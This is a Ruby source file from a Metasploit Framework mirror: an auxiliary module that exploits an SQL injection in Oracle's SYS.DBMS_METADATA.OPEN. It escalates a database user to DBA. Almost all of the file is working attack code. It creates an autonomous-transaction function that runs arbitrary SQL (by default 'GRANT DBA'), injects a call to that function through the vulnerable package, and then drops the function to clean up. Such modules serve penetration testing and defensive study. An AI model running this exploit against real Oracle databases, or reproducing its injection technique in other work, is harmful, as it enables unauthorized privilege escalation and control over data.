mirror of
https://github.com/rapid7/metasploit-framework
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69 lines
1.8 KiB
Ruby
69 lines
1.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::ORACLE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SQL Injection via SYS.DBMS_METADATA.OPEN.',
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'Description' => %q{
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This module will escalate a Oracle DB user to DBA by exploiting an sql injection
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bug in the SYS.DBMS_METADATA.OPEN package/function.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://www.metasploit.com' ],
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],
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'DisclosureDate' => 'Jan 5 2008'))
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register_options(
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[
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OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),
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], self.class)
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end
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def run
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name = Rex::Text.rand_text_alpha(rand(10) + 1)
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function = "
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create or replace function #{datastore['DBUSER']}.#{name} return varchar2
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authid current_user is pragma autonomous_transaction;
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begin
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execute immediate '#{datastore['SQL']}';
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return '';
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end;
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"
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package = "select sys.dbms_metadata.open('''||#{datastore['DBUSER']}.#{name}()||''') from dual"
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clean = "drop function #{name}"
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print_status("Sending function...")
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prepare_exec(function)
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begin
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print_status("Attempting sql injection on SYS.DBMS_METADATA.OPEN...")
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prepare_exec(package)
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rescue ::OCIError => e
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if ( e.to_s =~ /ORA-24374: define not done before fetch or execute and fetch/ )
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print_status("Removing function '#{name}'...")
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prepare_exec(clean)
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else
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end
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end
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end
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end
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